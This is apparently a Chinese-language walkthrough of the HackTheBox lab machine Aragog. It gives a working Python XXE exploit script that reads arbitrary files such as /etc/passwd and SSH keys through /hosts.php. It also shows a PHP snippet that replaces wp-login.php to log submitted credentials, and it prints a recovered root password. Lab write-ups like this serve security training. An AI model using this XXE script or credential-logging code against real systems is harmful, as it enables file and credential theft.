1 信息收集
NMAP
服务器开启了 21、22、80端口
21 端口测试
首先测试 21 端口,21端口开启了匿名登录
ftp服务器上存在 test.txt 文件,test.txt 文件是 xml 格式。
80 端口测试
echo "10.129.97.250 aragog.htb" | sudo tee -a /etc/hosts
80端口是 apache2 的默认页面,无可利用点
目录扫描
扫描目录发现 /hosts.php 文件,页面返回无明显可利用点
2 XXE 漏洞测试
总结之前收集到的信息,在 test.txt文件中,其内容是XML格式,可以尝试进行XML外部实体注入攻击
抓取 /hosts.php 页面请求,change method,在请求体写入读取 /etc/passwd 的 payload
在 /etc/passwd 文件发现两个用户:florian
、cliff
使用脚本自动化读取文件
import requests as rq
import sys
filename = sys.argv[1]
url = "http://aragog.htb/hosts.php"
data = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://FD" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
""".replace("FD",filename)
print "Attempting with file " + filename +"\n#########\n"
r = rq.post(url, data=data)
print (r.text).split("for ")[1]
读取ssh密钥文件进行SSH登录
cliff 用户没有SSH 密钥文件,发现 florian 用户密钥文件
,使用密钥文件登录SSH
3 权限提升
pspy 工具
上传 pspy工具
监控Linux进程
本地开启 httpserver
python3 -m http.server 8000
pspy 输出:
每五分钟启动一次的一组进程,调用 /root/restore.sh
恢复dev_wiki站点;
wp-login.php 为UID = 1001在调用,然后每一分钟调用一次。
访问 http://aragog.htb/dev_wiki/
通过上面的pspy输出:
wp-login.py脚本正在登录到/dev_wiki/目录中的wp-login.php页面,如果可以抓到发送到 wp-login.php 页面的数据,那就可以获得登录的用户名和密码
更改 wp-login.php 文件的内容,将提交给 wp-login.php 的数据转储到 request.log
<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('/tmp/request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
?>
获得了passwd !KRgYs(JFO!&MTr)lf
切换到 root 用户